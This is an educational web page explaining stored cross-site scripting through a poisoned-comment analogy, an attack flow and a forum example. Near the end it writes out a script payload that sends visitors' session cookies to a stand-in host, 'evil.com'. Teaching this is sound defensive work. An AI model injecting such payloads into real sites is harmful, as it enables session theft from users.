<strong>XSS (Cross-Site Scripting)</strong> is a security vulnerability where attackers inject malicious JavaScript into your website, which then executes in other users' browsers, potentially stealing data or hijacking sessions.
The Poisoned Comment Analogy
Imagine a comment box where someone writes a comment with hidden poison. When others read it, they get poisoned. XSS works similarly—malicious code hidden in user input executes in other users' browsers.
Comment Box (Input)
Where users type
Malicious Script (XSS)
Hidden poison
Other Users (Victims)
Execute the script
Injects Script
Stores Malicious Code
Executes Script
Attacker finds input field
Comment box, profile name, search bar, etc.
Inject malicious script
<script>steal_cookies()</script>
Script stored in database
Your app saves it without sanitizing
Victim views the page
Browser renders the malicious script
Script executes
Steals cookies, redirects, or performs actions as the user
Wrong
"XSS only affects old websites"
Correct
<strong>XSS is still one of the top web vulnerabilities</strong>. Even modern frameworks can be vulnerable if you use dangerouslySetInnerHTML or disable sanitization.
XSS attack on a forum:
Attacker posts: <script>document.location='evil.com?cookie='+document.cookie</script>
Forum stores this in database without escaping
When users view the post, script executes
Their session cookies are sent to attacker's server